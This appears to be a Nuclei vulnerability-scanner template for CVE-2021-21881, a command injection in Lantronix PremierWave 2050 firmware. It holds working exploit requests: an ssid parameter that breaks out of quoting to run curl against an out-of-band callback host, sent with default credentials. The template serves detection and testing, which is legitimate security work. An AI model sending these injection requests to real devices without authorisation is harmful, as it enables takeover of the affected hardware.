id: CVE-2021-21881

info:
  name: Lantronix PremierWave 2050 8.9.0.0R4 - Remote Command Injection
  author: gy741
  severity: critical
  description: Lantronix PremierWave 2050 8.9.0.0R4 contains an OS command injection vulnerability. A specially-crafted HTTP request can lead to command in the Web Manager Wireless Network Scanner. An attacker can make an authenticated HTTP request to trigger this vulnerability.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, or complete compromise of the affected device.
  remediation: |
    Apply the latest firmware update provided by Lantronix to mitigate the vulnerability.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1325
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21881
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2021-21881
    cwe-id: CWE-78
    epss-score: 0.37064
    epss-percentile: 0.9832
    cpe: cpe:2.3:o:lantronix:premierwave_2050_firmware:8.9.0.0:r4:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: lantronix
    product: premierwave_2050_firmware
  tags: cve2021,cve,lantronix,rce,oast,cisco,vkev,vuln
variables:
  useragent: '{{rand_base(6)}}'

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic dXNlcjp1c2Vy
        Content-Type: application/x-www-form-urlencoded

        ajax=WLANScanSSID&iehack=&Scan=Scan&netnumber=1&2=link&3=3&ssid="'; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}' #
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46UEFTUw==
        Content-Type: application/x-www-form-urlencoded

        ajax=WLANScanSSID&iehack=&Scan=Scan&netnumber=1&2=link&3=3&ssid="'; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: {{useragent}}"
# digest: 490a004630440220373dc59a66b2f3269ed76b414f4ba52a6085ab8aae18705bd6577f53087a398202204b00a5b27e5f114359219a1c7017400f758396220326daa08b5fe8d56b14f6c7:922c64590222798bb761d5b6d8e72950